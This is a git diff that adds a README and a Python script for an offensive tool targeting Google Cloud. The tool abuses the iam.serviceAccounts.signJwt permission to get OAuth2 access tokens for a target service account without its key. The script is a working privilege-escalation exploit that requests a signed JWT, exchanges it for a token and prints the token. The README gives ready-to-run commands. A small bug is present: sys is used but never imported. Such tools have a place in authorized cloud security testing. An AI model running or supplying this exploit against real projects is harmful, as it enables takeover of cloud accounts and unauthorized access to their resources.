diff options
| -rw-r--r-- | README.md | 77 | ||||
| -rw-r--r-- | signedjwt-privesc.py | 103 |
2 files changed, 180 insertions, 0 deletions
diff --git a/README.md b/README.md new file mode 100644 index 0000000..6bc411d --- /dev/null +++ b/README.md @@ -0,0 +1,77 @@ +## SignedJwt-PrivEsc +--- + +This tool specifically targets the `iam.serviceAccounts.signJwt` permission to generate an Access Token for a target Service Account without needing its private key. + +### OverView +--- + +In GCP, if an identity has the Service Account Token Creator role (or specifically iam.serviceAccounts.signJwt), they can sign a well-formed JWT which can be used to request Access Token for service Accounts. This script works as follows: + + - Constructs an unsigned JWT with the target ServiceAccount as the issuer + - Calls the `signJwt` method of the IAM API, and passes the constructed JWT as the payload + - Exchanges the signed JWT for a full OAuth2 Access Token. + + +### Options +--- + +```shell +usage: signedjwt-privesc.py [-h] (-t TOKEN | -f TOKEN_FILE | -k KEY_FILE) -s TARGET + +Own Accounts with signJwt + +options: + -h, --help show this help message and exit + -t, --token TOKEN Caller's Access Token string + -f, --token-file TOKEN_FILE + Path to file containing Access Token + -k, --key-file KEY_FILE + Path to Service Account JSON key file + -s, --target-account TARGET Target Service Account Email +``` + + +### Prerequisites +--- + - Python 3.x + - The iamcredentials.googleapis.com API must be enabled in the target project. + - Your caller identity must have iam.serviceAccounts.signJwt permission on the target account. + + +### Installation +--- + +``` +git clone https://github.com/5epi0l/signedJwt-PrivEsc.git +cd signedJwt-PrivEsc +pip install -r requirements.txt +``` + +### Usage +--- + +1. Using a direct Access Token + +```shell +python3 signedjwt-privesc.py -t $(gcloud auth print-access-token) -s target-sa@project-id.iam.gserviceaccount.com +``` + +2. Using a Service Account JSON Key + +```shell +python3 signedjwt-privesc.py -k /path/to/key.json -s target-sa@project-id.iam.gserviceaccount.com +``` + +3. Using a Token File + +```shell +python3 signedjwt-privesc.py -f ./token.txt -s target-sa@project-id.iam.gserviceaccount.com +``` + + +## Disclaimer +--- + +This tool is for authorized security auditing and educational purposes only. Unauthorized access to computer systems is illegal. + diff --git a/signedjwt-privesc.py b/signedjwt-privesc.py new file mode 100644 index 0000000..71eea49 --- /dev/null +++ b/signedjwt-privesc.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python3 + +import requests +from google.oauth2 import service_account +import json +from datetime import datetime, timedelta +import google.auth.transport.requests +import argparse + + +def getTokenFromKeyFile(file_name): + scopes = ["https://www.googleapis.com/auth/cloud-platform"] + creds = service_account.Credentials.from_service_account_file(file_name, scopes=scopes) + auth_req = google.auth.transport.requests.Request() + creds.refresh(auth_req) + return creds.token + +def getJwt(service_account_email, token): + now = int(datetime.now().timestamp()) + payload = { + "iss":service_account_email, + "scope":"https://www.googleapis.com/auth/cloud-platform", + "aud":"https://oauth2.googleapis.com/token", + "iat": now, + "exp": now + 3600 + } + + body = { + "payload": json.dumps(payload) + } + headers = { + "Authorization": f"Bearer {token}", + "Content-Type":"Application/json" + } + + signJwt_url = f"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/{service_account_email}:signJwt" + + r = requests.post(signJwt_url, json=body, headers=headers) + if r.status_code == 200: + signedJwt = r.json()['signedJwt'] + return signedJwt + else: + print(f"[!] Signing Request failed (Status {r.status_code}): {r.text}") + sys.exit(1) + + +def getAccessToken(service_account_email, token): + assertion = getJwt(service_account_email, token) + grant_type = "urn:ietf:params:oauth:grant-type:jwt-bearer" + + headers = { + "Content-Type": "application/x-www-form-urlencoded" + } + body = { + "assertion": assertion, + "grant_type": grant_type + } + token_url = "https://oauth2.googleapis.com/token" + r = requests.post(token_url, data=body, headers=headers) + if r.status_code == 200: + return r.json() + + +def main(): + parser = argparse.ArgumentParser( + description="Own Accounts with signJwt" + ) + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument("-t", "--token", help="Caller's Access Token String") + group.add_argument("-f", "--token-file", help="Path to file containg Access Token") + group.add_argument("-k", "--key-file", help="Path to Service Account JSON key file") + parser.add_argument("-s", "--target-account", help="Target Service Account Email", required=True) + + args = parser.parse_args() + + token = None + if args.token: + token = args.token + elif args.token_file: + with open(args.token_file, 'r') as f: + token = f.read().strip() + elif args.key_file: + token = getTokenFromKeyFile(args.key_file) + + if not token: + print("[!] Could not retrieve a valid caller token") + sys.exit(1) + + service_account_email = None + if args.target_account: + service_account_email = args.target_account + + try: + print("[*] Getting Access Token") + access_token = getAccessToken(service_account_email, token) + if access_token: + print(f"[*] Successfully retrieved access_token for {service_account_email}") + print(json.dumps(access_token, indent=2)) + except Exception as e: + print(f"[!] An error occured while retrieving access_token for {service_account_email}") + +if __name__ == "__main__": + main() |
